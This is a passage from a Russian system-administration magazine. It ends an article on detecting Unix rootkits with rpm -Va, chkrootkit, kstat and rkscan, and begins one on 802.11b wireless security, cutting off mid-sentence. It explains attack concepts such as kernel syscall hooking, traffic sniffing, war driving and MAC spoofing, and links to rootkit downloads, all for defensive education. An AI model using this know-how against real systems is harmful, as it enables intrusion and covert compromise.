строки в файлах, кроме того, команда find могла сообщить
обо всех измененных за 24 часа файлах. Следующая вер-
сия lrk4, выпущенная в ноябре 1998 года, получила еще
несколько измененных программ (pidof, killall, find, top,
crontab ...), позволяющих взять систему под больший конт-
роль. Чтобы администратор системы не заметил измене-
ний, они были защищены паролем (по умолчанию satori),
который можно было заменить при компиляции. Но у rootkits
такого класса есть один существенный недостаток, а имен-
но они изменяют файлы на диске и поэтому могут быть
обнаружены при сравнении контрольных сумм. Так что при
ее контроле такой rootkit выявить труда не составляло. Но
прогресс на месте не стоял, и был разработан новый класс
rootkit, способных поражать ядро, использующих модули
ядра (Linux Kernel Module – LKM). Номер 50 (от апреля 1997
года) журнала Phrack содержал краткую, но очень поучи-
тельную статью «Abuse of the Linux Kernel for Fun and Profit»
(p50-05), после которой уже нельзя было полностью дове-
рять своему ядру. Принцип работы такого rootkit прост.
Как известно, применение модулей ядра позволяет рас-
ширить возможности ядра операционной системы без не-
обходимости его перекомпиляции. Злоумышленник пишет
код модуля ядра и загружает его. В дальнейшем, работая в
пространстве ядра, такой модуль перехватывает системные
вызовы и модифицирует ответ по своему предназначению,
скрывая таким образом взлом системы. Но теперь взлом-
щик получает практически безграничную власть в системе.
Он может без проблем фильтровать логи, прятать файлы и
процессы, выходить за пределы chroot, скрывать состояние
системы и многое другое, зависящее только от фантазии
взломщика. Программы контроля целостности типа Tripwire
бесполезны против этого класса rootkit. Боролись с этим злом
на первом этапе, контролируя добавление и удаление моду-
лей, ограничением круга пользователей (демонов), которые
могли работать с модулями или вообще отказом от их ис-
пользования (т.е. ответ N в опции CONFIG_MODULES) и
собирая монолитное ядро. Некоторое время это как-то по-
могало, но Сильвио Цезаре (Silvio Cesare) обосновал воз-
можность загрузки модуля в ядро, используя устройство
/dev/kmem, управляющее памятью ядра, и написал програм-
му kinsmod, позволяющую проделать это, хотя это все на-
много сложнее. Для информации загляните на его страницу
http://www.big.net.au/~silvio/, там до недавнего времени ле-
жал файл runtime-kernel-kmem-patching.txt, но сейчас поче-
му-то пропал или, например, целых три статьи в номере 58
(файлы р58-0х06, р58-0х07, р58-0х08) журнала Phrack «Sub
proc_root Quando Sumus (Advances in Kernel Hacking)», «Linux
on-the-fly kernel patching without LKM» и «IA32 ADVANCED
FUNCTION HOOKING», и есть информация в следующих
номерах журнала.
25
 безопасность
Были предложены несколько вариантов решений про-
блемы, например, по адресу http://www.cs.uni-potsdam.de/
homepages/students/linuxer/, можно найти вариант Себас-
тьяна Крамера (Sebastian Krahmer), предлагающего конт-
ролировать и регистрировать вызов execve() и в комби-
нации с контролем логов пробовать отловить вторгшего-
ся. Вот список типично изменяемых системных вызовов:
sys_clone, sys_close, sys_execve, sys_fork, sys_ioctl, sys_kill,
sys_mkdir, sys_read, sys_readdir, sys_write. Но до оконча-
тельной победы еще ой как далеко.
Как защититься от rootkits?
Так как rootkits – это программы, обеспечивающие бес-
проблемное существование взломщика, а не программы
для взлома системы, то чтобы от них не избавляться, луч-
ше их попросту не подцеплять. А посему настраиваем
firewall, убираем все лишние сервисы, и вакцинируем си-
стему, т.е. устанавливаем всевозможные патчи, обнов-
ляем ПО, убираем поддержку модулей ядра или хотя бы
периодически проверяем загруженные при помощи lsmod
(если еще доверяете этой утилите). При помощи специ-
альных патчей к ядру вроде LIDS (http://www.lids.org/) ог-
раничиваем права root, лишая тем самым нападающего
части преимуществ, а также защищаем исполняемые
файлы, установив для них режим «только для чтения» –
READONLY, чтобы никто не мог их заменить или удалить,
а файлам журналов разрешить только дозапись данных
APPEND, чтобы исключить возможность стирания данных.
Запустив команду netstat -an, запоминаем все открытые
порты на свежей системе, а заодно убеждаемся, что ни-
чего не забыто. В дальнейшем необходимо для выясне-
ния возможных различий производить сканирование при
помощи внешнего чистого компьютера (испытуемому луч-
ше не доверять). Используем, например, nmap.
# nmap -v -P0 -sU -sT -p 1-65535 IP_ADDRESS
Таким образом, проверим все TCP- и UDP-порты, хотя
это и займет некоторое время.
Свежеустанавливаемый софт проверяем при помощи
контрольной суммы md5sum ( http://www.gnu.org/software/
textutils/textutils.html). Те, кто пользуется rpm-based дист-
рибутивами, могут воспользоваться возможностями это-
го менеджера пакетов. Когда устанавливается новая про-
грамма, то данные о пакете в целом и отдельных файлах,
его составляющих, в том числе и контрольная сумма, за-
носятся в базу данных. Поэтому, введя команду:
# rpm -Va > file
можно получить представление об измененных файлах.
Если файл окажется пустой, то изменений нет, но, прав-
да, это еще не подтверждает, что система чиста. Но вот
если появятся подобные строки:
# rpm -Va
S.5....T c /etc/hotplug/usb.usermap
S.5....T c /etc/sysconfig/pcmcia
то измененные файлы необходимо проверить:
26

M – отличается состояние (включая разрешения и тип
файла).

S – отличается размер файла.

5 – отличается сумма MD5 .

D – не соответствует число основных/второстепенных
устройств.

L – не соответствует путь readLink(2).

U – отличается пользователь-владелец.

G – отличается группа-владелец.

T – отличается mTime.
Чтобы не возиться со всей системой и немного упрос-
тить задачу, в первую очередь необходимо проверять па-
кеты net-tools, fileutils, util-linux, procps, psmisc, и findutils
(командой rpm -V имя_пакета). Правда, в приведенном
примере это все конфигурационные файлы, в которых,
естественно, появились изменения по сравнению с ори-
гиналом, а вот если будут попадаться файлы из катало-
гов, содержащих исполняемые файлы, то необходимо на-
сторожиться. При помощи команды rpm -qf /path/to/file
можно проверить, является ли данный файл частью паке-
та. Обнаруженное расхождение можно, естественно, пред-
варительно сохранив измененные файлы для дальнейше-
го изучения, тут же восстановить.
# rpm -Uvh -force <èìÿ_ôàéëà.rpm>
Программы проверки контроля целостности системы
типа Tripwire (http://www.tripwire.org/) или AIDE – Advanced
Intrusion Detection Environment (http://www.cs.tut.fi/~rammer/
aide.html) позволяют автоматизировать процесс подсчета
контрольных сумм и выдачи результата сравнения. Но при
их использовании желательно базу держать на отдельном
носителе, тем самым также защищая ее от модификации.
Также возможное заражение может подсказать непривыч-
ное поведение любимой утилиты, т.к. ее протрояненный ва-
риант может иметь немного отличающиеся опции запуска.
И наконец специально обученная на нахождение rootkit
утилита – chkrootkit (http://www.chkrootkit.org/), которая вы-
даст предупреждение в случае, если на машине появится
какой-либо известный ей rootkit. Обращаю еще раз внима-
ние на слово «известный», так как ситуация в данном слу-
чае аналогична таковой с антивирусами, определяя с ходу
уже зарегистрированный вирус, те могут пропустить что-
то новенькое. Пакет состоит из нескольких утилит, выпол-
няющих свою задачу. Так, утилита chkrootkit проверяет сиг-
натуры в следующих файлах: aliens, asp, bindshell, lkm,
rexedcs, sniffer, wted, w55808, scalper, slapper, z2, amd,
basename, biff, chfn, chsh, cron, date, du, dirname, echo, egrep,
env, find, fingerd, gpm, grep, hdparm, su, ifconfig, inetd,
inetdconf, init, identd, killall, ldsopreload, login, ls, lsof, mail,
mingetty, netstat, named, passwd, pidof, pop2, pop3, ps, pstree,
rpcinfo, rlogind, rshd, slogin, sendmail, sshd, syslogd, tar, tcpd,
tcpdump, top, telnetd, timed, traceroute, vdir, w, write. И на
момент моего последнего посещения обнаруживала 51 из-
вестных типа rootkit и тестировалась на Linux, FreeBSD,
OpenBSD, NetBSD, Solaris, HP-UX 11, True64 и BSDI. Уста-
новка заключается в выполнении команды make sense, ком-
пиляция обычно проходит без проблем. И далее запускаем:

# ./chkrootkit
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
и так далее.
Утилита имеет три, на мой взгляд, заслуживающих
ключа работы. Если хотите проверить систему, загрузив-
шись с другого компьютера или при помощи LiveCD, то
при помощи ключа -r можно указать каталог, который бу-
дет использован как корневой при поиске.
# ./chkrootkit -r /mnt/test
Так как chkrootkit использует для своей работы некото-
рые типичные Unix-утилиты (awk, cut, egrep, find,head, id, ls,
netstat, ps, strings, sed, uname), которые могут быть компро-
метированы, то во избежание ошибки при поиске необходи-
мо использовать статически скомпилированные версии этих
утилит (опять же сохранив их где-нибудь подальше), а ката-
лог, где они находятся, указать при помощи ключа -p:
# ./chkrootkit -p /mnt/safebin
Для исследования подозрительных строк в двоичных
файлах можно ее запустить в опытном режиме, исполь-
зовав ключ -х:
# ./chkrootkit -x | more
Утилита ifpromisc позволяет определить, находится ли
сетевой интерфейс в PROMISCIOUS-режиме.
#./ ifpromisc
eth0 is not promisc
За обнаружения троянов в модулях ядра отвечают ути-
литы chkproc и chkdirs. Утилиты chklastlog, chkwtmp и
check_wtmpx проверяют удаление данных в лог-файлах,
strings обеспечивает работу со строками. И еще на сайте
утилиты имеется большое количество ссылок на матери-
алы по теме статьи.
Команда find (если ей можно доверять) может обнару-
жить файлы и каталоги, чьи имена начинаются с точки
(или с пробела с точкой), которые обычно используют
взломщики для хранения своих данных.
# find / -name "*.*"
Утилита rkdet (http://vancouver-webpages.com/rkdet/)
представляет собой демон, который обнаруживает попыт-
ку установки rootkit или сниффера. При обнаружении та-
кой попытки системному администратору посылается уве-
домление по e-mail, протоколирует его в logfile, может от-
ключить систему от сети или вовсе остановить ее. Не тре-
бует перекомпиляции вместе с ядром.
Единственный путь обнаружения LKM rootkit – это ана-
лиз системной памяти. Один из способов состоит в срав-
нении адреса системного вызова, который rootkit изменя-
ют на свой.
№1(14), январь 2004
безопасность
При помощи утилиты кstat, ссылку на которую можно
найти на http://s0ftpj.org/en/site.html, можно исследовать
/dev/kmem. Для установки понадобится наличие исход-
ных текстов ядра и при компиляции нового ядра утилиту
необходимо обязательно пересобрать.
При помощи ключа -Р можно просмотреть полный спи-
сок процессов, включая спрятанные LKM (при иследова-
нии проблемы, для интереса сравните с ps aux), получить
подробную информацию о процессе можно, воспользо-
вавшись ключом -р с указанием pid.
# kstat –p 270
Для вывода таблицы адресов системного вызова ис-
пользуйте флаг -s:
# kstat –s
SysCall Address
sys_exit 0xc0117ce4
sys_fork 0xc0108ebc
sys_read 0xc012604c
и так далее.
И теперь, периодически сравнивая полученные значе-
ния, можно проверять наличие данного вида rootkit в сис-
теме. И если на выходе получим что-то похожее на:
sys_kill 0xc28465d4 WARNING! Should be at 0xc01106b4
то стоит немного призадуматься над тем, что творится в
системе.
Второй проект Стефана Ауберта (Stephane Aubert) Rkscan
(http://www.hsc.fr/ressources/outils/rkscan/download/) предлага-
ет инструмент для автоматического определения наличия
очень популярных LKM rootkit Adore (http://spider.scorpions.net/
~stealth/) и knark (http://packetstrom.securify.com). Здесь все
просто: скачиваем, распаковываем, компилируем.
# gcc -o rkscan rkscan1.0.c
И запускаем под обычным пользователем, потому что
под root программа ругается и работать не хочет.
*** Don't run this scanner as root ! ***
$ ./rkscan
-=- Rootkit Scanner -=-
-=- by Stephane.Aubert@hsc.fr -=-
Scanning for ADORE version 0.14, 0.24 and 2.0b ...
ADORE rootkit NOT DETECTED on this system.
Scanning for KNARK version 0.59 ...
KNARK rootkit NOT DETECTED on this system.
Done.
И конечно же, врага надо знать в лицо, поэтому, чтобы
знать, чего можно действительно ожидать от того или ино-
го rootkit, можно только при очень детальном их исследо-
вании. Вы можете скачать и попробовать различные rootkit
в действии (только в учебных целях!) с сайта packetstorm
(http://packetstorm.decepticons.org/UNIX/penetration/rootkits/).
Вот в принципе и все, что хотелось рассказать сегодня.
Вывод один – админ должен быть немного параноиком, пото-
му что нападающий всегда идет на шаг впереди. Успехов.
27
безопасность

БЕЗОПАСНОСТЬ
БЕСПРОВОДНЫХ СЕТЕЙ

ВИКТОР ИГНАТЬЕВ

28

На сегодняшний день Россия является одной из наибо-
лее развивающихся стран в индустрии информационных
технологий, но развивающейся не с точки зрения созда-
ния новых технологий, а с точки зрения увеличения еди-
ниц компьютерной техники в год. Каждый человек при-
обретает компьютер ради какой-то цели: начинающие
фирмы покупают компьютерную технику больше для пре-
стижа, чем для реальных задач, в то время как крупные
компании и корпорации уже не могут представить свой
бизнес без существования компьютеров. Соответствен-
но с увеличением числа компьютерной техники в офи-
сах появляется проблема передачи данных с одной ра-
бочей станции на другую. Эта проблема решается про-
водкой сети. Если количество машин около 40-50 штук,
это ещё можно стерпеть, и протянуть ~500 метров кабе-
ля и расставить маршрутизаторы/свитчи/хабы, но что
делать, если речь идёт о крупной корпорации, где ко-
личество компьютеров и офисной техники исчисляется
сотнями? Закупать километры кабеля и десятки еди-
ниц сетевого оборудования? Нет. В XXI столетии люди
научились передавать информацию по воздуху. Теперь
нет необходимости в проводах и кабелях. Технология
беспроводной передачи данных в России считается до-
статочно новой, в то время как в Европе и США она
уже стала обычной составляющей рабочего места IT-
работника. В настоящее время большое количество
фирм покупают готовые решения на базе беспровод-
ных сетей и избавляют себя от массы организацион-
ных проблем. Разумеется, стандартов беспроводной
связи существует немало, ниже приводятся характери-
стики основных из них.
Разновидности протоколов
и их характеристики
Стандарт wireless 1394 – известная технология FireWire
нашла для себя новую область применения – беспровод-
ные системы. Wireless Working Group в настоящее время
работает над адаптацией протоколов 1394 к беспровод-
ным средам, построенным на основе технологии 802.11,
т.е. беспроблемным соединением между FireWire и сетя-
ми AirPort/WiFi. Основная идея этого протокола – защита
цифровых аудио- и видеоданных от несанкционирован-
ного перехвата.
Стандарт HiperLAN2 – High Perfomance Radio LAN, как
прогнозируют, может стать основным конкурентом тех-
нологий беспроводных сетей 802.11.
HiperLAN2 ориентирован на работу в диапазоне 5 ГГц
и способен обеспечить скорость передачи данных до
54 Мбит/с. Спецификации протокола доступа к среде MAC
несколько другая, нежели чем у 802.11а. Для 802.11а он
аналогичен Ethernet, а в HiperLAN2 больше напоминает
АТМ. Так же HiperLAN2 имеет поддержку трафика муль-
тимедиа и QoS.
Стандарт 5-UP – протокол 5-GHz Unified Protocol (5-UP),
обеспечивает возможность взаимодействия друг с другом
высокоскоростных и низкоскоростных устройств и передачу
мультимедийных потоков со скоростью до 108 Мбит/с.
5-UP является расширением для беспроводных сетей IEEE,
ETSI.
№1(14), январь 2004
безопасность
Технология xG – технология модуляции, обеспечиваю-
щая возможность высокоскоростной радиопередачи дан-
ных по узкой полосе частот. Она позволяет передавать
данные на скорости 150 Мбит/c и выше в низкочастотном
диапазоне, используемом для пейджинга (35-150 Гц).
Сфера применения технологии – DSL, кабельное телеви-
дение, локальные сети и т. п.
Технология HomeRF 1.0 нацелена на построение бес-
проводных сетей в частных домовладениях и малых
офисах. Оборудование HomeRF работает в диапазоне
частот 2,4 ГГц, для передачи трафика используется
метод расширения спектра со скачкообразной пере-
стройкой частоты.
В марте 2001 г. появилась модернизация – HomeRF
2.0. В новом стандарте заметно увеличилась поддержи-
ваемая скорость обмена данными до 10 Мбит/с, а также
уровень шифрования на уровне MAC – 120 бит.
Стандарт IEEE 802.15.1 – Bluetooth предназначен для
построения так называемых персональных беспровод-
ных сетей (Wireless Personal Area Network, WPAN). Бес-
проводная технология Bluetooth является стандартом
связи на небольших расстояниях между мобильными
персональными компьютерами, мобильными телефона-
ми и иными портативными устройствами. Изначально
дальность действия радиоинтерфейса закладывалась
равной 10 метрам, однако сейчас спецификациями
Bluetooth уже определена и вторая зона около 100 м –
для покрытия стандартного дома или вне его. При этом
нет необходимости в том, чтобы соединяемые устрой-
ства находились в зоне прямой видимости друг друга,
их могут разделять «радиопрозрачные» препятствия
(стены, мебель и т. п.), и к тому же приборы могут на-
ходиться в движении. Для работы радиоинтерфейса
Bluetooth используется так называемый нижний (2,45 ГГц)
диапазон ISM (industrial, scientific, medical), предназна-
ченный для работы промышленных, научных и медицин-
ских приборов. Радиоканал обладает полной пропуск-
ной способностью в 1 Мбит/с, что обеспечивает созда-
ние асимметричного канала передачи данных на скоро-
стях 723,3/57,6 Кбит/с или полнодуплексного канала на
скорости 433,9 Кбит/с.
Базовый стандарт IEEE 802.11. В его основу поло-
жена сотовая архитектура, причем сеть может состо-
ять как из одной, так и из нескольких ячеек. Каждая
сота управляется так называемой точкой доступа –
Access Point (AP). Точка доступа вместе с подключен-
ными рабочими станциями пользователей образует
базовую зону обслуживания – Basic Service Set (BSS).
Точки доступа многосотовой сети взаимодействуют меж-
ду собой через распределительную систему Distribution
System (DS), представляющую собой эквивалент маги-
стрального сегмента кабельных сетей. Вся инфраструк-
тура, включающая точки доступа и распределительную
систему, образует расширенную зону обслуживания –
Extended Service Set. Также предусмотрен односотовый
вариант беспроводной сети, который может быть реа-
лизован и без точки доступа, при этом часть ее функ-
ций выполняются непосредственно рабочими станция-
ми. Для обеспечения роуминга предусмотрены специ-
29
 безопасность
Òàáëèöà 1. Âûãîäà ïðîòîêîëîâ
Òàáëèöà 2. Ñðàâíåíèå ïðîòîêîëîâ
альные процедуры сканирования и присоединения –
Association.
Также существует ряд расширений протокола IEEE
802.11, такие как: IEEE 802.11a, b-n. В таблицах 1 и 2 даны
сравнительные характеристики наиболее распространён-
ных протоколов.
В России уже имеется определённый опыт использо-
вания беспроводных сетей, вот некоторые примеры ра-
ботающих сетей.
В октябре 2000 г. в Иваново завершился второй этап
развёртки городской беспроводной сети. Сеть работает
по стандарту Wi-Fi/802.11b, на частоте 2,4-2,483 ГГц, со
скоростью 11 Мбит/с. Число поддерживаемых рабочих
мест составляет до 100 радиоабонентов. Сеть, изначаль-
но создававшаяся как корпоративная, со временем при-
обрела статус городской (и областной) беспроводной
сети передачи данных.
Актуальность Wi-Fi-технологии можно показать на
очень ярком примере беспроводной сети передачи дан-
30
ных Заполярного ГКМ для обмена данными с буровыми
площадками филиала «Тюменбургаз» ДООО «Бургаз».
Сеть была окончательно развёрнута 31 декабря 2001 г.,
работает по стандарту Wi-Fi/802.11b. Рабочий диапазон ча-
стот: 2400-2483 МГц. Радиус зоны действия сети: до 3 км
(местная сеть на буровой площадке), до 25-35 км (магис-
тральный канал).
Также можно привести пример функционирования сети
в тяжёлых погодных условиях. В марте 2001 г. был закон-
чен финальный этап развёртывания корпоративной сети
передачи данных для нескольких нефтегазодобывающих
управлений (НГДУ) в районе городов Новый Уренгой и
Пыть-Ях. Сеть работает по стандарту Wi-Fi/802.11b, на
частоте 2,4-2,483 ГГц, со скоростью 11 Мбит/с, имеет
модифицированный протокол MAC в маршрутизаторах
ORiNOCO Outdoor Routers. В связи с суровыми погодны-
ми условиями всё уличное оборудование монтировалось
в специальных термоконтейнерах. Базовые станции мон-
тировались на буровых вышках – на высоте от 30 до 80 м.

Преимущества беспроводных сетей
Итак, предположим, вы уже много наслышаны о беспровод-
ных сетях и решили внедрить эту технологию в свой бизнес.
Какую выгоду вы получаете от этого?

Простота развёртывания. Сетевым администраторам и
прочим IT-специалистам больше не придётся протяги-
вать метры кабелей через чердаки и подвалы. Они с
удовольствием потратят это время на настройку и от-
ладку сети.

Мобильность. На схеме 1 изображена примерная схе-
ма сети малого предприятия. Если бы вашей задачей
являлось перенести всю сеть в здание нового офиса,
то для этого вам потребовалось бы отключить все сете-
вые кабели, вытащить их и смотать, а на новом месте
проделать обратную процедуру. Даже если переехать
нужно было бы всего лишь одному сотруднику, у вас
бы ушло некоторое время на демонтаж кабеля и новое
подключение.
Теперь обратим внимание на схему 2. На ней изобра-
жена схема беспроводной сети. (По причине высокого
распространения за основу взят стандарт 802.11). Из схе-
мы видно, что пользователи могут безо всяких проблем
перемещаться в зоне действия беспроводной сети. В слу-
Ñõåìà 1. Îáû÷íàÿ êàáåëüíàÿ ñåòü
Ñõåìà 2. Áåñïðîâîäíàÿ ñåòü. Ñòàíäàðò 802.11
№1(14), январь 2004
безопасность
чае переезда вам достаточно будет установить точку до-
ступа в удобном месте и включить компьютеры.
Средства защиты
Многие производители аппаратной части разрабатывают
свои методы защиты и шифрования соединений, но они
в большинстве своём мало совместимы друг с другом.
Далее подробно рассмотрим безопасность сетей стан-
дарта IEEE 802.11b, так как 90% (если не больше) корпо-
ративных сетей развёрнуты именно на его базе.
Стандарт 802.11b имеет модель защиты, которая по-
зволяет мобильным клиентам безопасно соединяться и
взаимодействовать с точкой доступа и обеспечивает кон-
фиденциальную передачу данных. Она состоит из двух
базовых методов:

SSID

WEP
A Service Set Identification (SSID) – служебный иденти-
фикатор, это имя сети в сегменте беспроводной сети. Он
также логически разделяет пользователей и точку досту-
па. Вообще для соединения с сетью беспроводной сете-
вой адаптер (WNIC) клиента должен быть настроен с та-
ким же SSID, что и у точки доступа.
31
 безопасность
Wired Equivalent Privacy (WEP) – был утверждён IEEE
для того, чтобы безопасность WLAN стала сопоставима с
обычными проводными сетями, такими как локальная сеть
(LAN). Иными словами, WEP представляет собой возмож-
ность шифрования передаваемых данных. В процессе
WEP-кодирования используется симметричный ключ и
математический алгоритм для преобразования данных в
нечитаемый текст, называемый текст-шифр. В криптог-
рафии симметричный ключ – это значение с переменной
длиной, используется для шифрования и расшифровки
данных. Любое устройство, участвующее в соединении,
должно иметь одинаковый ключ. WEP-ключи конфигури-
руются WLAN-администратором, чем длиннее ключ, тем
сложнее будет расшифровать шифр-текст. WEP исполь-
зует алгоритм RC4, которому в свою очередь необходим
Вектор Инициализации (InitializationVector (IV)). IV это псев-
до-случайная бинарная строка для скачкообразного про-
цесса шифрования для алгоритмов, зависящих от преды-
дущей последовательности блоков шифр-текста. WEP со-
вмещает в себе до 4 симметричных ключей переменной
длины, основанных на потоковом шифре RC4. Все ключи
статичны и одинаковы для всех устройств в WLAN. Это
означает, что все WEP-ключи вручную настраиваются на
всех WLAN-устройствах и не меняются, пока админист-
ратор не сгенерирует новые ключи. Большинство 802.11b-
оборудования поддерживают 2 размера ключей:

64-бита 40-битный ключ и 24-битный Вектор Инициа-
лизации;

128-бит 104-битный ключ и 24-битный Вектор Инициа-
лизации.
WEP имеет 2 основных назначения:

Запрещение доступа к WLAN;

Препятствие «атаке повтором».
Точка доступа использует WEP для предотвращения
доступа к WLAN, посылая текстовые запросы конечно-
му клиенту. Клиент шифрует запрос своим ключом и
отправляет его обратно точке доступа. Если результат
идентичен, пользователь получает доступ в сеть.
Ðèñóíîê 1
WEP также препятствует «атаке повтором». «Атака
повтором» заключается в декодировании пойманных в
беспроводной сети пакетов. Если атакуемый WLAN-
32
пользователь шифрует 802.11b фреймы WEP, атакую-
щий не сможет декодировать данные до тех пор, пока у
него не будет верного WEP-ключа.
Для получения доступа к WLAN стандарт 802.11b ука-
зывает, что клиент должен пройти 2 этапа:

Процесс авторизации.

Процесс присоединения.
Клиент, желающий подключиться к WLAN, должен
сперва пройти авторизацию.
В процессе авторизации проверяется информация
о клиенте, и это является начальным этапом соедине-
ния с точкой доступа. Существует 2 типа авторизации:

Открытая система (Open System Authentication).

Общий ключ (Shared Key Authentication).
Открытая система (OSA) подразумевает, что всё вза-
имодействие проходит в открытом виде, без использо-
вания WEP-ключей. Любой клиент может беспрепят-
ственно присоединиться к WLAN. Единственное, что не-
обходимо, – это SSID. Некоторые точки доступа прини-
мают даже нулевой SSID. Точка доступа может быть на-
строена на оба типа.
В отличие от OSA, Shared Key Authentication (SKA) под-
разумевает посылку запроса на шифрование. Клиент
шифрует запрос и посылает его обратно. Точка доступа
декодирует ответ и сравнивает его с оригиналом. Если
результат положительный, клиент может осуществить
присоединение.
Присоединение – это финальный этап соединения с
беспроводной сетью, результатом которого является пол-
ноценное подключение клиента к точке доступа.
Таким образом, стандарт 802.11b предусматривает
3 состояния:

Состояние 1: Неавторизирован и не присоединён.

Состояние 2: Авторизирован и не присоединён.

Состояние 3: Авторизирован и присоединён.
С технической точки зрения процесс доступа делится
на 3 фазы:

Фаза поиска.

Фаза авторизации.

Фаза присоединения.
Фаза поиска. Клиент посылает пробный пакет по всем
каналам и ждёт ответа от любой точки доступа. Ответ
точки доступа содержит информацию, необходимую для
процесса соединения.
Фаза авторизации. Как указывалось выше, точка дос-
тупа может быть одновременно и SKA и OSA типа. На-
стройка точки доcтупа определяет, какой тип авториза-
ции будет использоваться.
Фаза присоединения. Клиент посылает пакет – зап-
рос на присоединение. Точка доступа посылает пакет –
ответ, разрешающий присоединение. Состояние «Авто-
ризирован и присоединён» финальный этап инициали-
зации между точкой доступа и клиентом при условии,
что отсутствуют другие защитные механизмы, такие как:
RADIUS, EAP или 802.1X. Клиент подключается к WLAN.

Методы атак на беспроводные сети
Атаки условно делятся на 3 основных категории: пассив-
ные атаки, активные атаки и атаки помехами. Рассмот-
рим подробнее каждую из вышеперечисленных.
Пассивные атаки
Основной целью таких атак является перехват данных,
проходящих по каналам беспроводной сети. Для осуще-
ствления этого атакующему необходим компьютер с бес-
проводным сетевым адаптером и специальным программ-
ным обеспечением для перехвата трафика. Такое ПО по-
лучило название «сниффер» (от англ. to sniff – нюхать,
принюхиваться). Яркими представителями этого класса
программ являются: для ОС Windows – WinDump, Zxsniffer,
Iris. Для Unix-подобных ОС – TCPDump, Dsniff, Ethereal,
Ettercap, AirSnort.
Пассивные атаки очень сложно обнаружить, т.к. ни-
каких исходящих данных от атакующего не поступает.
Системным администраторам не следует применять
DHCP-серверы, или, если они так необходимы, стоит
проверять лог-файлы как можно чаще. Если в сети по-
явится неизвестный MAC-адрес, то следует считать, что
это потенциальный взломщик.
Если вы обнаружили, что под окном вашей организа-
ции стоит автомобиль с подозрительной антенной, у во-
дителя выясните назначение этой антенны. Именно он
может оказаться злоумышленником.
В наше время пассивные атаки очень распростране-
ны, это даже стало хобби для многих людей. Такое заня-
тие называется «war driving» или «war plugging» (боевое
вождение или боевое присоединение). War-driver воору-
Ðèñóíîê 2. Ðàáî÷åå îêíî ïðîãðàììû NetStumbler
№1(14), январь 2004
безопасность
жаются ноутбуком, беспроводной сетевой картой и ан-
тенной помощнее. После проезда нескольких километ-
ров по мегаполису они уже имеют список ряда беспро-
водных сетей, 90% из которых плохо защищены.
Большинство этих «деятелей» используют бесплат-
ную программу определения беспроводных сетей «The
Netstumbler». На рисунках 2 и 3 изображено рабочее окно
программы Netstumbler. Программа в основном работа-
ет с адаптерами, основанными на чипах «Hermes», так
как именно они способны определять точки доступа, на-
ходящиеся в одном диапазоне и с активированным WEP.
Одной из самых распространённых карт на базе чипа
«Hermes» является «ORiNOCO». Другим преимуществом
этой карты является возможность присоединения внеш-
ней антенны, которая в несколько раз увеличивает диа-
пазон «видимости» сигналов точек доступа. К сожале-
нию, карты на чипах «Hermes» не умеют работать в ре-
жиме «прослушки» (promiscuous mode). Для этих целей
необходимо иметь карту на чипе «PRISM2». Большин-
ство фирм-производителей используют именно этот чип,
например, Linksys WPC. Искушенные war-driver имеют
два адаптера, один для поиска сетей, другой для пере-
хвата данных.
Несмотря на то что Netstumbler бесплатный продукт,
это серьёзное и многофункциональное средство, которое
является превосходным решением для поиска беспровод-
ных сетей. Кроме того, Netstumbler может дать деталь-
ную информацию относительно найденных беспроводных
сетей, эта информация может быть использована в ком-
бинации с GPS, чтобы обеспечить точное местоположе-
ние относительно широты и долготы.
33
 безопасность
После запуска NetStumbler начинает слать широкове-
щательные запросы несколько раз в секунду. Если одна
из точек доступа ответила, NetStumbler оповещает об этом
пользователя и выдаёт информацию, извлечённую из
802.11b фреймов: SSID, MAC-адрес, канал, силу сигнала и
информацию о том, активирован ли WEP или нет.
Есть несколько моментов, на которые стоит обратить
внимание.

Во-первых, большинство точек доступа настроены с
SSID по умолчанию, то есть настройщики его не ме-
няли.

Во-вторых, в некоторых сетях SSID имеет смысловое
отношение к сети, например: universityserver. Мы можем
предположить, что эта точка доступа какого-то учебного
заведения.
Вышеперечисленные особенности делают работу ата-
кующего намного проще. Использование Netstumbler – на-
чальный этап злоумышленника. После сбора информа-
ции о беспроводной сети и получения SSID, атакующий
подключается к ней, чтобы перехватить трафик. Трафик
может содержать большое количество информации о сети
и о компании, которая использует эту сеть. Например, про-
сматривая трафик, злоумышленник может выяснить ад-
реса DNS-серверов, страницы, заданные по умолчанию в
браузерах, сетевые имена, сессии авторизации, и т. д. Эта
информация может быть использована для дальнейших
атак. Если в сети активирован WEP, атакующий соберёт
Ðèñóíîê 3. Ðàáî÷åå îêíî ïðîãðàììû NetStumbler
34
достаточное количество трафика для взлома шифрован-
ных данных. Netstumbler работает с сетями, настроенны-
ми как Открытая система. Это значит, что сеть обнару-
живает своё существование и посылает в ответ свой SSID.
Однако это не значит, что сеть может быть с лёгкостью
скомпрометирована, т.к. могут быть использованы допол-
нительные средства защиты. Для защиты от Netstumbler
и других программ определения беспроводных сетей, ад-
министраторы должны конфигурировать беспроводные
сети как Закрытые системы. Это значит, что точки досту-
па не будут отвечать на запросы «нулевого» SSID и будут
«невидимы» для таких программ, как Netstumbler, кото-
рые полагаются на эту технологию поиска беспроводных
сетей. Тем не менее, возможен захват «сырых» 802.11b-
фреймов и их последующее декодирование при помощи
«Ethereal» и «WildPacket’s AiroPeek». Также для поиска
беспроводных сетей могут быть использованы анализа-
торы спектра радиочастот. Несмотря на несовершенность
закрытой системы, следует использовать эту именно тех-
нологию.
Следует отметить, что точки доступа работают как
полудуплексные устройства, такие как хабы и репитеры.
Это означает, что все устройства в сети могут «видеть»
трафик других устройств. Единственной защитой являет-
ся шифрование трафика разными методами: WEP, VPNs,
SSL, Secure Shell (SSH), Secure Copy (SCP), и т. д. Неко-
торые методы могут быть более эффективными, всё за-
висит от обстоятельств.

Активные атаки
Как только злоумышленник получает доступ к сети при
помощи пассивных атак, он приступит к осуществлению
активной атаки. В большинстве своём активные атаки на
беспроводные сети мало чем отличаются от атак на обыч-
ные сети. Но с ростом популярности беспроводных сетей
увеличилось и число разновидностей атак на них, напри-
мер, «drive-by spamming». Эта атака представляет собой
рассылку спама из скомпрометированной сети.
Ввиду происхождения беспроводных сетей и несо-
вершенности WEP, неавторизированный доступ и спу-
финг являются самыми распространёнными атаками.
Спуфингом называют ситуацию, при которой неавто-
ризированный клиент выдает себя за авторизирован-
ного. Самой распространённой защитой от подобного
рода атак является фильтрация MAC-адресов. Список
разрешённых MAC-адресов хранится на точке доступа.
Но этот метод тоже не совершенен. Осуществить сме-
ну MAC-адреса не составляет особого труда. В ОС
Windows это возможно при помощи таких программ, как
«Smack», «USTmacdak», а в Unix-подобных ОС коман-
